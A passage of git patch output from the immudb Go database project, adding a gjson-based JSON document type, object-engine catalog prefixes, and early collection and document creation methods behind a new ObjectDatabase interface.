dbi.objectEngine.SetMultiDBHandler(multidbHandler) + dbi.objectEngine.SetMultiDBHandler(multidbHandler) - dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) }() dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) @@ -384,7 +372,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - dbi.objectEngine, err = object.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) + dbi.objectEngine, err = sql.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } @@ -1667,13 +1655,7 @@ func (d *db) Close() (err error) { d.sqlInitCancel = nil } - if d.objectInitCancel != nil { - close(d.objectInitCancel) - d.objectInitCancel = nil - } - d.sqlInit.Wait() // Wait for SQL Engine initialization to conclude - d.objectInit.Wait() return d.st.Close() } From 8e7bdad61ce58793ccd0481b4045f5e27dc7d535 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 24 Feb 2023 14:08:23 +0530 Subject: [PATCH 0310/1062] chore(embedded/object): add document abstraction --- embedded/object/api.go | 22 ------- embedded/object/document.go | 114 +++++++++++++++++++++++++++++++++ embedded/object/engine_test.go | 2 +- embedded/object/schema.go | 23 +++++++ go.mod | 1 + go.sum | 6 ++ pkg/database/database.go | 97 ++-------------------------- pkg/database/interface.go | 113 ++++++++++++++++++++++++++++++++ 8 files changed, 263 insertions(+), 115 deletions(-) delete mode 100644 embedded/object/api.go create mode 100644 embedded/object/document.go create mode 100644 embedded/object/schema.go create mode 100644 pkg/database/interface.go diff --git a/embedded/object/api.go b/embedded/object/api.go deleted file mode 100644 index 4a2beadaa8..0000000000 --- a/embedded/object/api.go +++ /dev/null @@ -1,22 +0,0 @@ -package object - -const ( - catalogDatabasePrefix = "CTL.OBJ.DATABASE." // (key=CTL.OBJ.DATABASE.{dbID}, value={dbNAME}) - catalogTablePrefix = "CTL.OBJ.TABLE." // (key=CTL.OBJ.TABLE.{dbID}{tableID}, value={tableNAME}) - catalogColumnPrefix = "CTL.OBJ.COLUMN." // (key=CTL.OBJ.COLUMN.{dbID}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) - catalogIndexPrefix = "CTL.OBJ.INDEX." // (key=CTL.OBJ.INDEX.{dbID}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) - -// Old prefixes that must not be reused: -// `CATALOG.DATABASE.` -// `CATALOG.TABLE.` -// `CATALOG.COLUMN.` -// `CATALOG.INDEX.` -// `P.` primary indexes without null support -// `S.` secondary indexes without null support -// `U.` secondary unique indexes without null support -// `PINDEX.` single-column primary indexes -// `SINDEX.` single-column secondary indexes -// `UINDEX.` single-column secondary unique indexes -) - -var ObjectPrefix = []byte{3} diff --git a/embedded/object/document.go b/embedded/object/document.go new file mode 100644 index 0000000000..ed671c89e3 --- /dev/null +++ b/embedded/object/document.go @@ -0,0 +1,114 @@ +package object + +import ( + "encoding/json" + "errors" + "fmt" + "io" + + "github.com/tidwall/gjson" +) + +// Document is a json document +type Document struct { + result gjson.Result +} + +// Documents is an array of documents +type Documents []*Document + +// UnmarshalJSON satisfies the json Unmarshaler interface +func (d *Document) UnmarshalJSON(bytes []byte) error { + doc, err := NewDocumentFromBytes(bytes) + if err != nil { + return err + } + d.result = doc.result + return nil +} + +// MarshalJSON satisfies the json Marshaler interface +func (d *Document) MarshalJSON() ([]byte, error) { + return d.Bytes(), nil +} + +// NewDocument creates a new json document +func NewDocument() *Document { + parsed := gjson.Parse("{}") + return &Document{ + result: parsed, + } +} + +// NewDocumentFromBytes creates a new document from the given json bytes +func NewDocumentFromBytes(json []byte) (*Document, error) { + if !gjson.ValidBytes(json) { + return nil, errors.New(fmt.Sprintf("invalid json: %s", string(json))) + } + d := &Document{ + result: gjson.ParseBytes(json), + } + if !d.Valid() { + return nil, errors.New("invalid document") + } + return d, nil +} + +// NewDocumentFrom creates a new document from the given interface +func NewDocumentFrom(value interface{}) (*Document, error) { + var err error + bits, err := json.Marshal(value) + if err != nil { + return nil, errors.New(fmt.Sprintf("failed to json encode value: %#v", value)) + } + return NewDocumentFromBytes(bits) +} + +// Valid returns whether the document is valid +func (d *Document) Valid() bool { + return gjson.ValidBytes(d.Bytes()) && !d.result.IsArray() +} + +// String returns the document as a json string +func (d *Document) String() string { + return d.result.String() +} + +// Bytes returns the document as json bytes +func (d *Document) Bytes() []byte { + return []byte(d.result.Raw) +} + +func (d *Document) Get(field string) interface{} { + if d.result.Get(field).Exists() { + return d.result.Get(field).Value() + } + return nil +} + +// FieldPaths returns the paths to fields & nested fields in dot notation format +func (d *Document) FieldPaths() []string { + paths := &[]string{} + d.paths(d.result, paths) + return *paths +} + +func (d *Document) paths(result gjson.Result, pathValues *[]string) { + result.ForEach(func(key, value gjson.Result) bool { + if value.IsObject() { + d.paths(value, pathValues) + } else { + *pathValues = append(*pathValues, value.Path(d.result.Raw)) + } + return true + }) +} + +// Encode encodes the json document to the io writer +func (d *Document) Encode(w io.Writer) error { + _, err := w.Write(d.Bytes()) + if err != nil { + return fmt.Errorf("failed to write document: %w", err) + } + return nil +} diff --git a/embedded/object/engine_test.go b/embedded/object/engine_test.go index 798bbb6249..de43b03c52 100644 --- a/embedded/object/engine_test.go +++ b/embedded/object/engine_test.go @@ -25,7 +25,7 @@ func TestCreateCollection(t *testing.T) { opts := sql.DefaultOptions(). WithPrefix(ObjectPrefix). WithDatabasePrefix(catalogDatabasePrefix). - WithTablePrefix(catalogTablePrefix). + WithTablePrefix(catalogCollectionPrefix). WithColumnPrefix(catalogColumnPrefix). WithIndexPrefix(catalogIndexPrefix) diff --git a/embedded/object/schema.go b/embedded/object/schema.go new file mode 100644 index 0000000000..49ef32889c --- /dev/null +++ b/embedded/object/schema.go @@ -0,0 +1,23 @@ +package object + +import ( + "github.com/codenotary/immudb/embedded/sql" +) + +var ObjectPrefix = []byte{3} + +const ( + catalogDatabasePrefix = "CTL.OBJ.DATABASE." // (key=CTL.OBJ.DATABASE.{dbID}, value={dbNAME}) + catalogCollectionPrefix = "CTL.OBJ.COLLECTION." // (key=CTL.OBJ.COLLECTION.{dbID}{collectionID}, value={collectionNAME}) + catalogColumnPrefix = "CTL.OBJ.COLUMN." // (key=CTL.OBJ.COLUMN.{dbID}{collectionID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) + catalogIndexPrefix = "CTL.OBJ.INDEX." // (key=CTL.OBJ.INDEX.{dbID}{collectionID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) +) + +func DefaultOptions() *sql.Options { + return sql.DefaultOptions(). + WithPrefix(ObjectPrefix). + WithDatabasePrefix(catalogDatabasePrefix). + WithTablePrefix(catalogCollectionPrefix). + WithColumnPrefix(catalogColumnPrefix). + WithIndexPrefix(catalogIndexPrefix) +} diff --git a/go.mod b/go.mod index 72cf95f17d..708f6a40f1 100644 --- a/go.mod +++ b/go.mod @@ -44,6 +44,7 @@ require ( github.com/spf13/viper v1.12.0 github.com/stretchr/testify v1.8.0 github.com/takama/daemon v0.12.0 + github.com/tidwall/gjson v1.14.4 golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e golang.org/x/net v0.0.0-20220708220712-1185a9018129 golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d diff --git a/go.sum b/go.sum index 357abdf2e2..c19c93b805 100644 --- a/go.sum +++ b/go.sum @@ -647,6 +647,12 @@ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= +github.com/tidwall/gjson v1.14.4 h1:uo0p8EbA09J7RQaflQ1aBRffTR7xedD2bcIVSYxLnkM= +github.com/tidwall/gjson v1.14.4/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= +github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= +github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= diff --git a/pkg/database/database.go b/pkg/database/database.go index 4be5f42d0a..5e9f959950 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -51,94 +51,6 @@ var ErrNotReplica = errors.New("database is NOT a replica") var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") var ErrInvalidRevision = errors.New("invalid key revision number") -type DB interface { - GetName() string - - // Setttings - GetOptions() *Options - - Path() string - - AsReplica(asReplica, syncReplication bool, syncAcks int) - IsReplica() bool - - IsSyncReplicationEnabled() bool - SetSyncReplication(enabled bool) - - MaxResultSize() int - UseTimeFunc(timeFunc store.TimeFunc) error - - // State - Health() (waitingCount int, lastReleaseAt time.Time) - CurrentState() (*schema.ImmutableState, error) - - Size() (uint64, error) - - // Key-Value - Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) - VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) - - Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) - VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) - GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) - - Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) - - SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) - VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) - - Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) - - History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) - - ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) - - Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) - CountAll(ctx context.Context) (*schema.EntryCount, error) - - ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) - VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) - ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) - - // SQL-related - NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) - - SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) - SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) - - InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) - InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) - - SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) - SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) - SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) - - VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) - - ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) - DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) - - // Transactional layer - WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error - WaitForIndexingUpto(ctx context.Context, txID uint64) error - - TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) - ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) - ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) - AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error - DiscardPrecommittedTxsSince(txID uint64) error - - VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) - TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) - - // Maintenance - FlushIndex(req *schema.FlushIndexRequest) error - CompactIndex() error - - IsClosed() bool - Close() error -} - type uuid = string type replicaState struct { @@ -214,7 +126,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, err } - dbi.objectEngine, err = sql.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) + dbi.objectEngine, err = sql.NewEngine(dbi.st, object.DefaultOptions()) if err != nil { return nil, err } @@ -227,8 +139,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l if op.replica { dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - // TODO: object engine should be able to handle multiple databases - // dbi.objectEngine.SetMultiDBHandler(multidbHandler) + dbi.objectEngine.SetMultiDBHandler(multidbHandler) dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil @@ -372,7 +283,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - dbi.objectEngine, err = sql.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) + dbi.objectEngine, err = sql.NewEngine(dbi.st, object.DefaultOptions()) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } @@ -391,6 +302,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo } dbi.sqlEngine.SetMultiDBHandler(multidbHandler) + dbi.objectEngine.SetMultiDBHandler(multidbHandler) dbi.Logger.Infof("Database '%s' successfully created {replica = %v}", dbName, op.replica) return dbi, nil @@ -1730,5 +1642,6 @@ func logErr(log logger.Logger, formattedMessage string, err error) error { // CopyCatalog creates a copy of the sql catalog and returns a transaction // that can be used to commit the copy. func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { + // TODO: add object store support for truncation too return d.sqlEngine.CopyCatalogToTx(ctx, tx) } diff --git a/pkg/database/interface.go b/pkg/database/interface.go new file mode 100644 index 0000000000..802891358a --- /dev/null +++ b/pkg/database/interface.go @@ -0,0 +1,113 @@ +package database + +import ( + "context" + "crypto/sha256" + "time" + + "github.com/codenotary/immudb/embedded/object" + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/schema" +) + +type DB interface { + GetName() string + + // Setttings + GetOptions() *Options + + Path() string + + AsReplica(asReplica, syncReplication bool, syncAcks int) + IsReplica() bool + + IsSyncReplicationEnabled() bool + SetSyncReplication(enabled bool) + + MaxResultSize() int + UseTimeFunc(timeFunc store.TimeFunc) error + + // State + Health() (waitingCount int, lastReleaseAt time.Time) + CurrentState() (*schema.ImmutableState, error) + + Size() (uint64, error) + + // Key-Value + Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) + VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) + + Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) + VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) + GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) + + Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) + + SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) + VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) + + Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) + + History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) + + ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) + + Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) + CountAll(ctx context.Context) (*schema.EntryCount, error) + + ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) + VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) + ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) + + // SQL-related + NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) + + SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) + SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) + + InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) + InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) + + SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) + SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) + SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) + + VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) + + ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) + DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) + + // Transactional layer + WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error + WaitForIndexingUpto(ctx context.Context, txID uint64) error + + TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) + ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) + ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) + AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error + DiscardPrecommittedTxsSince(txID uint64) error + + VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) + TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) + + // Maintenance + FlushIndex(req *schema.FlushIndexRequest) error + CompactIndex() error + + IsClosed() bool + Close() error +} + +// ObjectDatabase is the interface for object database +type ObjectDatabase interface { + // GetCollection returns the collection schema + GetCollection(ctx context.Context, collection string) (interface{}, error) + // CreateCollection creates a new collection + CreateCollection(ctx context.Context, collection string, schema interface{}) error + + // GetDocument returns the document + GetDocument(ctx context.Context, collection string, id string) (*object.Document, error) + // CreateDocument creates a new document + CreateDocument(ctx context.Context, collection string, document *object.Document) (string, error) +} From 93f6f16e39474debc622ac50b19aa577407b23ed Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Sat, 25 Feb 2023 10:13:55 +0530 Subject: [PATCH 0311/1062] chore(pkg/database): add and implement object db interface --- embedded/sql/catalog.go | 5 +++ embedded/sql/stmt.go | 18 +++++++++ pkg/database/database.go | 71 +++++++++++++++++++++++++++++++++++ pkg/database/interface.go | 2 + pkg/server/db_dummy_closed.go | 21 +++++++++++ 5 files changed, 117 insertions(+) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 94d0a1d38d..e5281dd7a4 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -52,6 +52,11 @@ func (c *Catalog) WithColumnPrefix(columnPrefix string) *Catalog { return c } +func (c *Catalog) WithIndexPrefix(indexPrefix string) *Catalog { + c.indexPrefix = indexPrefix + return c +} + type Database struct { id uint32 catalog *Catalog diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 91bf039b25..81e7681766 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -523,6 +523,16 @@ func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[ return tx, nil } +func NewUpserIntoStmt(db string, table string, cols []string, rows []*RowSpec, onConflict *OnConflictDo) *UpsertIntoStmt { + return &UpsertIntoStmt{ + isInsert: true, + tableRef: newTableRef(db, table, ""), + cols: cols, + rows: rows, + onConflict: onConflict, + } +} + type UpsertIntoStmt struct { isInsert bool tableRef *tableRef @@ -2408,6 +2418,14 @@ func (stmt *UnionStmt) Alias() string { return "" } +func newTableRef(db, table string, as string) *tableRef { + return &tableRef{ + db: db, + table: table, + as: as, + } +} + type tableRef struct { db string table string diff --git a/pkg/database/database.go b/pkg/database/database.go index 5e9f959950..1dcb1478b7 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1645,3 +1645,74 @@ func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { // TODO: add object store support for truncation too return d.sqlEngine.CopyCatalogToTx(ctx, tx) } + +// TODO: make new objectdb to embed object engine commands +// GetCollection returns the collection schema +func (d *db) GetCollection(ctx context.Context, collection string) (interface{}, error) { + return nil, nil +} + +// CreateCollection creates a new collection +func (d *db) CreateCollection(ctx context.Context, collection string, schema interface{}) error { + _, _, err := d.objectEngine.ExecPreparedStmts( + context.Background(), + nil, + []sql.SQLStmt{sql.NewCreateTableStmt( + collection, + false, []*sql.ColSpec{ + sql.NewColSpec("id", sql.IntegerType, 0, true, false), + sql.NewColSpec("name", sql.VarcharType, 50, false, false), + sql.NewColSpec("_obj", sql.BLOBType, 0, false, false), + }, + []string{"id", "name"}, + )}, + nil, + ) + return err +} + +// GetDocument returns the document +func (d *db) GetDocument(ctx context.Context, collection string, id string) (*object.Document, error) { + return nil, nil +} + +// CreateDocument creates a new document +func (d *db) CreateDocument(ctx context.Context, collection string, document *object.Document) (string, error) { + tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return "", err + } + defer tx.Cancel() + + // check if collection exists + _, err = tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), collection) + if err != nil { + return "", err + } + + // add document to collection + _, _, err = d.objectEngine.ExecPreparedStmts( + context.Background(), + nil, + []sql.SQLStmt{sql.NewUpserIntoStmt(d.objectEngine.CurrentDatabase(), collection, []string{"name", "_obj"}, nil, nil)}, + nil, + ) + // stmt := &sql.UpsertIntoStmt{ + // tableRef: &tableRef{table: "table1"}, + // cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, + // rows: []*RowSpec{ + // {Values: []ValueExp{ + // &Number{val: 2}, + // &FnCall{fn: "now"}, + // &Varchar{val: "un'titled row"}, + // &Bool{val: true}, + // &Bool{val: false}, + // &Blob{val: decodedBLOB}, + // &Param{id: "param1"}, + // }, + // }, + // }, + // } + + return "", err +} diff --git a/pkg/database/interface.go b/pkg/database/interface.go index 802891358a..80f5bcd7c5 100644 --- a/pkg/database/interface.go +++ b/pkg/database/interface.go @@ -97,6 +97,8 @@ type DB interface { IsClosed() bool Close() error + + ObjectDatabase } // ObjectDatabase is the interface for object database diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index aa3dfa3820..752508022a 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -22,6 +22,7 @@ import ( "path/filepath" "time" + "github.com/codenotary/immudb/embedded/object" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" @@ -243,3 +244,23 @@ func (db *closedDB) Close() error { func (db *closedDB) Truncate(ts time.Duration) error { return store.ErrAlreadyClosed } + +// GetCollection returns the collection schema +func (d *closedDB) GetCollection(ctx context.Context, collection string) (interface{}, error) { + return nil, store.ErrAlreadyClosed +} + +// CreateCollection creates a new collection +func (d *closedDB) CreateCollection(ctx context.Context, collection string, schema interface{}) error { + return store.ErrAlreadyClosed +} + +// GetDocument returns the document +func (d *closedDB) GetDocument(ctx context.Context, collection string, id string) (*object.Document, error) { + return nil, store.ErrAlreadyClosed +} + +// CreateDocument creates a new document +func (d *closedDB) CreateDocument(ctx context.Context, collection string, document *object.Document) (string, error) { + return "", store.ErrAlreadyClosed +} From 8d2dc5f89760616d4bec4c08cbb1acd95cc6c0c3 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Sat, 25 Feb 2023 11:01:44 +0530 Subject: [PATCH 0312/1062] chore(pkg/database): create document/collection from schemav2 requests --- embedded/sql/stmt.go | 18 ++++++ pkg/database/database.go | 103 +++++++++++++++++++++++++--------- pkg/database/interface.go | 39 ++++++++++++- pkg/server/db_dummy_closed.go | 5 +- 4 files changed, 133 insertions(+), 32 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 81e7681766..5ed131f5f0 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -541,6 +541,12 @@ type UpsertIntoStmt struct { onConflict *OnConflictDo } +func NewRowSpec(values []ValueExp) *RowSpec { + return &RowSpec{ + Values: values, + } +} + type RowSpec struct { Values []ValueExp } @@ -1464,6 +1470,10 @@ func (v *NullValue) selectorRanges(table *Table, asTable string, params map[stri return nil } +func NewNumber(val int64) *Number { + return &Number{val: val} +} + type Number struct { val int64 } @@ -1604,6 +1614,10 @@ func (v *Timestamp) Compare(val TypedValue) (int, error) { return 0, nil } +func NewVarchar(val string) *Varchar { + return &Varchar{val: val} +} + type Varchar struct { val string } @@ -1736,6 +1750,10 @@ func (v *Bool) Compare(val TypedValue) (int, error) { return -1, nil } +func NewBlob(val []byte) *Blob { + return &Blob{val: val} +} + type Blob struct { val []byte } diff --git a/pkg/database/database.go b/pkg/database/database.go index 1dcb1478b7..f418e622c7 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -33,6 +33,7 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" + schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/logger" ) @@ -1653,18 +1654,35 @@ func (d *db) GetCollection(ctx context.Context, collection string) (interface{}, } // CreateCollection creates a new collection -func (d *db) CreateCollection(ctx context.Context, collection string, schema interface{}) error { +func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { + collectionName := req.Name + primaryKeys := make([]string, 0) + collectionSpec := make([]*sql.ColSpec, 0, len(req.PrimaryKeys)) + + for name, pk := range req.PrimaryKeys { + schType, isValid := SchemaToValueType[pk] + if !isValid { + return fmt.Errorf("invalid primary key type: %v", pk) + } + primaryKeys = append(primaryKeys, name) + // TODO: add support for other types + // TODO: add support for max length + // TODO: add support for auto increment + collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 50, false, false)) + } + + // add support for blob + // TODO: add support for max length for blob storage + collectionSpec = append(collectionSpec, sql.NewColSpec("_obj", sql.BLOBType, 10000, false, false)) + _, _, err := d.objectEngine.ExecPreparedStmts( context.Background(), nil, []sql.SQLStmt{sql.NewCreateTableStmt( - collection, - false, []*sql.ColSpec{ - sql.NewColSpec("id", sql.IntegerType, 0, true, false), - sql.NewColSpec("name", sql.VarcharType, 50, false, false), - sql.NewColSpec("_obj", sql.BLOBType, 0, false, false), - }, - []string{"id", "name"}, + collectionName, + false, + collectionSpec, + primaryKeys, )}, nil, ) @@ -1677,7 +1695,7 @@ func (d *db) GetDocument(ctx context.Context, collection string, id string) (*ob } // CreateDocument creates a new document -func (d *db) CreateDocument(ctx context.Context, collection string, document *object.Document) (string, error) { +func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return "", err @@ -1685,34 +1703,63 @@ func (d *db) CreateDocument(ctx context.Context, collection string, document *ob defer tx.Cancel() // check if collection exists - _, err = tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), collection) + table, err := tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), req.Collection) if err != nil { return "", err } - // add document to collection + cols := make([]string, 0) + tcolumns := table.ColsByName() + rows := make([]*sql.RowSpec, 0) + + for _, col := range tcolumns { + cols = append(cols, col.Name()) + } + + // TODO: should be able to send only a single 